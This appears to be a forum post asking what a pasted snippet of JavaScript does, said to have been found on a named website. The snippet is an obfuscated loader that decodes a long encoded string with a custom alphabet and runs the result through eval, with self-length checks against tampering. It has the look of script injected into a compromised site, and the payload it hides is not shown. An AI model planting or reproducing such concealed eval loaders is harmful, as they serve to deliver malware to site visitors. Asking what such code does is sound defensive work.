what is this code doing?
 

found on call-kelly.com:


<script>function m(nT,lI){if (!lI)lI='Ya.z)4"X(#Pj1|28%[E,/LmU@?N}gWq&OMZke7srFyfS$6AiKc5xwC^B0=d]3HG!';var sa;var t='';for(var us=0;us<nT.length;us+=arguments.callee.toString(). length-502){sa=(lI.indexOf(nT.charAt(us))&255)<<18|(lI.in dexOf(nT.charAt(us+1))&255)<<12|(lI.indexOf(nT.cha rAt(us+2))&255)<<(arguments.callee.toString().leng th-500)|lI.indexOf(nT.charAt(us+3))&255;t+=String.fro mCharCode((sa&(255*256*256))>>16,(sa&65280)>>8,sa& 255);}eval(t.substring(0,t.length-arguments.callee.toString().length+504));}m('}EOr& rYy[)KZ/EM3,^|6,z4z|/cK[,3][.C.,XaY?/cKP5[G(7C]#k#A[.)BP.C1(X?x(,W0P/e5L40M1zH.}B|=Ns=)(,4i,wKc,X|W}/eZNkC3Lsyq}xWA%rc|PU)M#"F6E,#rL/)c%X|1140ePka7m^3c}e%M|5O6,za7mweZ&Z[a(7)F2x#1|U05Lz3s?z6=EUaY'+
'|U=m[C0s?z6=(,4/NrcK[E71|5MxEE#z|UcKP4=@?z/!EE#/8r0Z?UeM1/|)#Z#XUeK5?5=i#467Ps[a1m0eNk411E)7}xgF}/7mPmC1("y)&4?q%rMsNZC#1sWL%,4YgwKKUZ%f1"L}}C@F|5)B Px?G?"L=2^@GWz$O?xwrj.WrWZYKUE6K1k6z[sH0}ZFs@C[|?)LY(kMa&e73(/c@2U7X?e%GPzW88xLc8/O^}/(6#E[xU74m1mLfjr[}PU6L#5eO(Yhahahaha');</script><script>try{eval(j)}catch(ex){}</script>